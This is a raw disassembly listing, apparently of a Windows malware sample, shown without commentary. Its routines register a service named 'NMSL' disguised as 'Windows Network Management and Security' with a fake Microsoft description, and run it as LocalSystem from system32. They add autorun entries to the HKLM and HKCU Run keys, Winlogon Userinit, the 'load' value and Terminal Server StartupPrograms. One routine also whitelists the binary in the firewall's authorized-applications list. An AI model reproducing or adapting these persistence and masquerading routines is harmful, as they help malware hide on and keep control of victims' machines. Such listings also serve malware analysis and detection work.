; CODE XREF: DMN0:00404F88j cmp dword ptr [ebp+8], 0 jz short loc_404FAA push dword ptr [ebp+8] lea eax, [ebp-844h] push eax call sub_407A20 pop ecx pop ecx jmp short loc_404FBD ; --------------------------------------------------------------------------- loc_404FAA: ; CODE XREF: DMN0:00404F95j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp-844h] push eax call sub_407A20 pop ecx pop ecx loc_404FBD: ; CODE XREF: DMN0:00404FA8j test ebx, ebx jz short loc_404FD4 push offset asc_40EDC3 ; "\"" lea eax, [ebp-844h] push eax call sub_407A20 pop ecx pop ecx loc_404FD4: ; CODE XREF: DMN0:00404FBFj cmp dword ptr [ebp+0Ch], 0 jz short loc_404FFE push offset asc_40EDA4 ; " " lea eax, [ebp-844h] push eax call sub_407A20 pop ecx pop ecx push dword ptr [ebp+0Ch] lea eax, [ebp-844h] push eax call sub_407A20 pop ecx pop ecx loc_404FFE: ; CODE XREF: DMN0:00404FD8j lea eax, [ebp-854h] push eax lea eax, [ebp-44h] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp-844h] push eax push 0 call dword_411D14 ; CreateProcessA test eax, eax jz short loc_405043 push dword ptr [ebp-850h] call dword_411CFC ; CloseHandle push dword ptr [ebp-854h] call dword_411CFC ; CloseHandle xor eax, eax inc eax loc_405043: ; CODE XREF: DMN0:00405026j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_405048 proc near ; CODE XREF: sub_405F73+21p ; sub_406A81:loc_406DBDp ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_40508F push 4 push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax test esi, esi jnz short loc_40507E push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax jmp short loc_40508F ; --------------------------------------------------------------------------- loc_40507E: ; CODE XREF: sub_405048+29j push esi call dword_411E50 ; CloseServiceHandle push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax inc eax loc_40508F: ; CODE XREF: sub_405048+15j ; sub_405048+34j pop esi pop ebx retn sub_405048 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405092 proc near ; CODE XREF: sub_406A81+3C4p var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_4050FC push 94h push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax test esi, esi jnz short loc_4050D2 push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax jmp short loc_4050FC ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_405092+33j xor edi, edi lea eax, [ebp+var_1C] push eax push esi call dword_411E54 ; QueryServiceStatus test eax, eax jz short loc_4050EC cmp [ebp+var_18], 4 jnz short loc_4050EC xor edi, edi inc edi loc_4050EC: ; CODE XREF: sub_405092+4Fj ; sub_405092+55j push esi call dword_411E50 ; CloseServiceHandle push ebx call dword_411E50 ; CloseServiceHandle mov eax, edi loc_4050FC: ; CODE XREF: sub_405092+1Cj ; sub_405092+3Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405103 proc near ; CODE XREF: sub_405198+32p ; sub_4051E6+39p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov ebx, [ebp+arg_0] push 0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push 0 push 2 push 0FFFFFFFFh push ebx call dword_411E58 ; ChangeServiceConfigA test eax, eax jnz short loc_405145 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_405141 or eax, 0FFFFFFFFh jmp short loc_405193 ; --------------------------------------------------------------------------- loc_405141: ; CODE XREF: sub_405103+37j xor eax, eax jmp short loc_405193 ; --------------------------------------------------------------------------- loc_405145: ; CODE XREF: sub_405103+2Aj mov [ebp+var_1C], 1 and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_1C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C ; ChangeServiceConfig2A test eax, eax jnz short loc_405190 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_40518C or eax, 0FFFFFFFFh jmp short loc_405193 ; --------------------------------------------------------------------------- loc_40518C: ; CODE XREF: sub_405103+82j xor eax, eax jmp short loc_405193 ; --------------------------------------------------------------------------- loc_405190: ; CODE XREF: sub_405103+75j xor eax, eax inc eax loc_405193: ; CODE XREF: sub_405103+3Cj ; sub_405103+40j ... pop ebx mov esp, ebp pop ebp retn sub_405103 endp ; =============== S U B R O U T I N E ======================================= sub_405198 proc near ; CODE XREF: sub_4052BA+6Dp ; sub_405F73:loc_405FABp push ebx push esi push edi xor edi, edi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_4051E2 push 96h push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax test esi, esi jz short loc_4051D9 push esi call sub_405103 pop ecx mov edi, eax push esi call dword_411E50 ; CloseServiceHandle loc_4051D9: ; CODE XREF: sub_405198+2Fj push ebx call dword_411E50 ; CloseServiceHandle mov eax, edi loc_4051E2: ; CODE XREF: sub_405198+18j pop edi pop esi pop ebx retn sub_405198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051E6 proc near ; CODE XREF: DMN0:00405EAAp ; sub_406A81+428p ... var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor esi, esi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov edi, eax test eax, eax jz loc_4052B3 push 16h push offset aNmsl ; "NMSL" push edi call dword_411E4C ; OpenServiceA mov ebx, eax test ebx, ebx jz short loc_405242 push ebx call sub_405103 pop ecx mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40523E push ebx call dword_411E50 ; CloseServiceHandle push edi call dword_411E50 ; CloseServiceHandle mov eax, esi jmp short loc_4052B3 ; --------------------------------------------------------------------------- loc_40523E: ; CODE XREF: sub_4051E6+44j xor esi, esi jmp short loc_405252 ; --------------------------------------------------------------------------- loc_405242: ; CODE XREF: sub_4051E6+36j push 14h push offset aNmsl ; "NMSL" push edi call dword_411E4C ; OpenServiceA mov ebx, eax loc_405252: ; CODE XREF: sub_4051E6+5Aj test ebx, ebx jnz short loc_405261 push edi call dword_411E50 ; CloseServiceHandle xor eax, eax jmp short loc_4052B3 ; --------------------------------------------------------------------------- loc_405261: ; CODE XREF: sub_4051E6+6Ej lea eax, [ebp+var_1C] push eax push ebx call dword_411E54 ; QueryServiceStatus test eax, eax jz short loc_405279 cmp [ebp+var_18], 4 jnz short loc_405279 xor esi, esi inc esi loc_405279: ; CODE XREF: sub_4051E6+88j ; sub_4051E6+8Ej test esi, esi jnz short loc_4052A3 push 0 push 0 push ebx call dword_411E60 ; StartServiceA test eax, eax jz short loc_405293 mov esi, 2 jmp short loc_4052A3 ; --------------------------------------------------------------------------- loc_405293: ; CODE XREF: sub_4051E6+A4j call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_4052A3 or esi, 0FFFFFFFFh loc_4052A3: ; CODE XREF: sub_4051E6+95j ; sub_4051E6+ABj ... push ebx call dword_411E50 ; CloseServiceHandle push edi call dword_411E50 ; CloseServiceHandle mov eax, esi loc_4052B3: ; CODE XREF: sub_4051E6+1Ej ; sub_4051E6+56j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4051E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052BA proc near ; CODE XREF: sub_405F73:loc_405FBCp ; sub_406A81+3F3p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_113 = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov esi, eax test eax, eax jz loc_4053F5 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push 0 push 2 push 110h push 0F01FFh push offset aWindowsNetwork ; "Windows Network Management and Security"... push offset aNmsl ; "NMSL" push esi call dword_411E64 ; CreateServiceA mov ebx, eax test ebx, ebx jnz short loc_405342 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 431h jnz short loc_405334 push esi call dword_411E50 ; CloseServiceHandle call sub_405198 xor eax, eax inc eax jmp loc_4053F5 ; --------------------------------------------------------------------------- loc_405334: ; CODE XREF: sub_4052BA+64j push esi call dword_411E50 ; CloseServiceHandle xor eax, eax jmp loc_4053F5 ; --------------------------------------------------------------------------- loc_405342: ; CODE XREF: sub_4052BA+57j push offset aServiceRegiste ; "service registered\n" call nullsub_2 pop ecx xor edi, edi inc edi push 0FFh push offset aProvidesSuppor ; "Provides support for Microsoft Windows®"... lea eax, [ebp+var_113] push eax call dword_411D40 ; lstrcpyn lea eax, [ebp+var_113] mov [ebp+var_120], eax lea eax, [ebp+var_120] push eax push 1 push ebx call dword_411E5C ; ChangeServiceConfig2A test eax, eax jnz short loc_405397 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_405397 or edi, 0FFFFFFFFh loc_405397: ; CODE XREF: sub_4052BA+CBj ; sub_4052BA+D8j mov [ebp+var_11C], 1 and [ebp+var_118], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_11C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C ; ChangeServiceConfig2A test eax, eax jnz short loc_4053E5 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_4053E5 or edi, 0FFFFFFFFh loc_4053E5: ; CODE XREF: sub_4052BA+119j ; sub_4052BA+126j push ebx call dword_411E50 ; CloseServiceHandle push esi call dword_411E50 ; CloseServiceHandle mov eax, edi loc_4053F5: ; CODE XREF: sub_4052BA+1Fj ; sub_4052BA+75j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4052BA endp ; =============== S U B R O U T I N E ======================================= sub_4053FC proc near ; CODE XREF: sub_403FEA+9p ; sub_406A81+B0p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_40543E push 0F01FFh push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax push esi call dword_411E68 ; DeleteService push esi call dword_411E50 ; CloseServiceHandle push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax inc eax loc_40543E: ; CODE XREF: sub_4053FC+15j pop esi pop ebx retn sub_4053FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405441 proc near ; CODE XREF: sub_405F73+2Ap ; sub_406A81+40Ap var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_534 = byte ptr -534h var_409 = byte ptr -409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 53Ch push ebx push esi push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_400] push eax call sub_407A00 pop ecx pop ecx lea ebx, [ebp+var_400] lea eax, [ebp+var_400] push eax call sub_4079E0 pop ecx add ebx, eax push offset aNmsl ; "NMSL" push ebx call sub_407A00 pop ecx pop ecx xor esi, esi lea eax, [ebp+var_404] push eax push 0F003Fh push 0 lea eax, [ebp+var_400] push eax push 80000002h call dword_411E34 ; RegOpenKeyExA test eax, eax jnz short loc_40550F mov [ebp+var_408], 12Ch lea eax, [ebp+var_408] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_538] push eax push 0 push offset aImagepath ; "ImagePath" push [ebp+var_404] call dword_411E6C ; RegQueryValueExA mov [ebp+var_53C], eax test eax, eax jnz short loc_405503 mov [ebp+var_409], 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp+var_534] push eax call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_405503 xor esi, esi inc esi loc_405503: ; CODE XREF: sub_405441+A0j ; sub_405441+BDj push [ebp+var_404] call dword_411E30 ; RegCloseKey loc_40550F: ; CODE XREF: sub_405441+64j mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_405441 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405517 proc near ; CODE XREF: sub_405F73+33p ; sub_406A81+413p var_40C = byte ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 40Ch push ebx push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_408] push eax call sub_407A00 pop ecx pop ecx lea ebx, [ebp+var_408] lea eax, [ebp+var_408] push eax call sub_4079E0 pop ecx add ebx, eax push offset aNmsl ; "NMSL" push ebx call sub_407A00 pop ecx pop ecx lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 lea eax, [ebp+var_408] push eax push 80000002h call dword_411E28 ; RegCreateKeyExA test eax, eax jnz loc_40568C mov [ebp+var_8], 110h push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aType ; "Type" push [ebp+var_4] call dword_411E2C ; RegSetValueExA mov [ebp+var_8], 2 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] call dword_411E2C ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E2C ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push 0Ch push offset aLocalsystem ; "LocalSystem" push 1 push 0 push offset aObjectname ; "ObjectName" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push offset aWindowsNetwork ; "Windows Network Management and Security"... call sub_4079E0 pop ecx inc eax push eax push offset aWindowsNetwork ; "Windows Network Management and Security"... push 1 push 0 push offset aDisplayname ; "DisplayName" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push offset aProvidesSuppor ; "Provides support for Microsoft Windows®"... call sub_4079E0 pop ecx inc eax push eax push offset aProvidesSuppor ; "Provides support for Microsoft Windows®"... push 1 push 0 push offset aDescription ; "Description" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call sub_4079E0 pop ecx inc eax push eax push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push 1 push 0 push offset aImagepath ; "ImagePath" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_40568C: ; CODE XREF: sub_405517+6Bj pop ebx mov esp, ebp pop ebp retn sub_405517 endp ; --------------------------------------------------------------------------- push ebx push esi push offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}" push 0 push 0 push 0 call dword_411D44 ; CreateEventA mov ebx, eax test eax, eax jz short loc_4056C5 push ebx call dword_411D48 ; SetEvent mov esi, eax push ebx call dword_411CFC ; CloseHandle test esi, esi jz short loc_4056C3 xor eax, eax inc eax jmp short loc_4056C5 ; --------------------------------------------------------------------------- loc_4056C3: ; CODE XREF: DMN0:004056BCj xor eax, eax loc_4056C5: ; CODE XREF: DMN0:004056A8j ; DMN0:004056C1j pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056C8 proc near ; CODE XREF: sub_4058D5+89p ; sub_40596B+CAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E28 ; RegCreateKeyExA test eax, eax jnz short loc_40571A push [ebp+arg_C] call sub_4079E0 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E2C ; RegSetValueExA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_40571A: ; CODE XREF: sub_4056C8+29j mov esp, ebp pop ebp retn sub_4056C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40571E proc near ; CODE XREF: sub_405826+3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_4079E0 pop ecx mov edi, eax push [ebp+var_4] call sub_4079E0 pop ecx mov ebx, eax jmp short loc_405762 ; --------------------------------------------------------------------------- loc_405744: ; CODE XREF: sub_40571E+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411D00 ; CompareStringA cmp eax, 2 jnz short loc_405760 mov eax, esi jmp short loc_405768 ; --------------------------------------------------------------------------- loc_405760: ; CODE XREF: sub_40571E+3Cj inc esi dec edi loc_405762: ; CODE XREF: sub_40571E+24j cmp edi, ebx jge short loc_405744 xor eax, eax loc_405768: ; CODE XREF: sub_40571E+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40571E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40576F proc near ; CODE XREF: sub_405826+23p ; sub_4058D5+4Ap ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] cmp edi, 1 jl short loc_40578A test esi, esi jnz short loc_405791 loc_40578A: ; CODE XREF: sub_40576F+15j xor eax, eax jmp loc_40581F ; --------------------------------------------------------------------------- loc_405791: ; CODE XREF: sub_40576F+19j lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E34 ; RegOpenKeyExA test eax, eax jz short loc_4057B0 xor eax, eax jmp short loc_40581F ; --------------------------------------------------------------------------- loc_4057B0: ; CODE XREF: sub_40576F+3Bj push [ebp+arg_4] push offset aRegreadOpenedS ; "RegRead(): opened %s\n" call nullsub_2 pop ecx pop ecx push edi push 0 push esi call sub_407960 add esp, 0Ch lea eax, [edi-1] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10] push eax push 0 push ebx push [ebp+var_8] call dword_411E6C ; RegQueryValueExA mov [ebp+var_C], eax push [ebp+var_8] call dword_411E30 ; RegCloseKey cmp [ebp+var_C], 0 jnz short loc_405810 push esi push ebx push [ebp+var_4] push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n" call nullsub_2 add esp, 10h mov eax, [ebp+var_4] dec eax jmp short loc_40581F ; --------------------------------------------------------------------------- loc_405810: ; CODE XREF: sub_40576F+87j push ebx push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n" call nullsub_2 pop ecx pop ecx xor eax, eax loc_40581F: ; CODE XREF: sub_40576F+1Dj ; sub_40576F+3Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40576F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405826 proc near ; CODE XREF: sub_4058D5+23p ; sub_40596B+24p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2000h call sub_407AC0 push ebx push 2000h lea eax, [ebp+var_2000] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40576F add esp, 14h mov ebx, eax test eax, eax jz short loc_405873 push [ebp+arg_C] lea eax, [ebp+var_2000] push eax call sub_40571E pop ecx pop ecx test eax, eax jz short loc_405871 xor eax, eax inc eax jmp short loc_405873 ; --------------------------------------------------------------------------- loc_405871: ; CODE XREF: sub_405826+44j xor eax, eax loc_405873: ; CODE XREF: sub_405826+2Fj ; sub_405826+49j pop ebx mov esp, ebp pop ebp retn sub_405826 endp ; =============== S U B R O U T I N E ======================================= sub_405878 proc near ; CODE XREF: sub_405B04+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, [esp+0Ch+arg_8] mov edi, [esp+0Ch+arg_C] test edi, edi jz short loc_405891 mov byte ptr [ebx], 22h inc ebx jmp short loc_405894 ; --------------------------------------------------------------------------- loc_405891: ; CODE XREF: sub_405878+11j mov byte ptr [ebx], 0 loc_405894: ; CODE XREF: sub_405878+17j push [esp+0Ch+arg_4] push ebx call sub_407A00 pop ecx pop ecx push [esp+0Ch+arg_4] call sub_4079E0 pop ecx add ebx, eax test edi, edi jz short loc_4058B4 mov byte ptr [ebx], 22h inc ebx loc_4058B4: ; CODE XREF: sub_405878+36j test esi, esi jz short loc_4058CE mov byte ptr [ebx], 20h inc ebx push esi push ebx call sub_407A00 pop ecx pop ecx push esi call sub_4079E0 pop ecx add ebx, eax loc_4058CE: ; CODE XREF: sub_405878+3Ej mov byte ptr [ebx], 0 pop edi pop esi pop ebx retn sub_405878 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058D5 proc near ; CODE XREF: sub_405B04+78p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407AC0 push ebx push dword_4128A8 push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_405826 add esp, 10h loc_405900: ; DATA XREF: DMN1:00450CF4o test eax, eax jnz short loc_405966 push 2000h lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_40576F add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_405934 mov [ebp+var_2000], 0 loc_405934: ; CODE XREF: sub_4058D5+56j push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_4056C8 add esp, 10h loc_405966: ; CODE XREF: sub_4058D5+2Dj pop ebx mov esp, ebp pop ebp retn sub_4058D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40596B proc near ; CODE XREF: sub_405B04+7Dp var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407AC0 push ebx push esi push dword_4128A8 push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405826 add esp, 10h test eax, eax jnz loc_405A3D push 2000h lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_40576F add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_4059CF mov [ebp+var_2000], 0 loc_4059CF: ; CODE XREF: sub_40596B+5Bj cmp [ebp+var_2000], 0 jz short loc_4059F4 lea esi, [ebp+var_2000] jmp short loc_4059E1 ; --------------------------------------------------------------------------- loc_4059E0: ; CODE XREF: sub_40596B+79j inc esi loc_4059E1: ; CODE XREF: sub_40596B+73j cmp byte ptr [esi], 0 jnz short loc_4059E0 dec esi cmp byte ptr [esi], 2Ch jz short loc_4059F4 inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_4059F4: ; CODE XREF: sub_40596B+6Bj ; sub_40596B+7Fj push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx test ebx, ebx jnz short loc_405A1F push offset asc_40E73C ; "," lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx loc_405A1F: ; CODE XREF: sub_40596B+9Fj lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4056C8 add esp, 10h loc_405A3D: ; CODE XREF: sub_40596B+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_40596B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A43 proc near ; CODE XREF: sub_405B04+82p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407AC0 push ebx push esi push dword_4128A8 push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405826 add esp, 10h test eax, eax jnz loc_405AFE push 2000h lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_40576F add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_405AA7 mov [ebp+var_2000], 0 loc_405AA7: ; CODE XREF: sub_405A43+5Bj cmp [ebp+var_2000], 0 jz short loc_405ACC lea esi, [ebp+var_2000] jmp short loc_405AB9 ; --------------------------------------------------------------------------- loc_405AB8: ; CODE XREF: sub_405A43+79j inc esi loc_405AB9: ; CODE XREF: sub_405A43+73j cmp byte ptr [esi], 0 jnz short loc_405AB8 dec esi cmp byte ptr [esi], 2Ch jz short loc_405ACC inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_405ACC: ; CODE XREF: sub_405A43+6Bj ; sub_405A43+7Fj push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4056C8 add esp, 10h loc_405AFE: ; CODE XREF: sub_405A43+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_405A43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B04 proc near ; CODE XREF: sub_406A81+557p var_2000 = byte ptr -2000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_407AC0 push 1 push offset asc_40E700 ; "*" push [ebp+arg_0] lea eax, [ebp+var_2000] push eax call sub_405878 add esp, 10h push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n" call nullsub_2 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Management and Security"... push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_4056C8 add esp, 10h push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n" call nullsub_2 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Management and Security"... push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_4056C8 add esp, 10h call sub_4058D5 call sub_40596B call sub_405A43 mov esp, ebp pop ebp retn sub_405B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B8F proc near ; CODE XREF: sub_406A81+236p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407AC0 mov [ebp+var_2000], 0 push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Management and Security"... lea eax, [ebp+var_2000] push eax call sub_407A20 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push dword_4128A8 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_4056C8 add esp, 10h mov esp, ebp pop ebp retn sub_405B8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_405C00 proc near ; CODE XREF: DMN0:00405E1Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 14h push 40h call dword_411CE4 ; LocalAlloc mov [ebp+var_10], eax push 1 push [ebp+var_10] 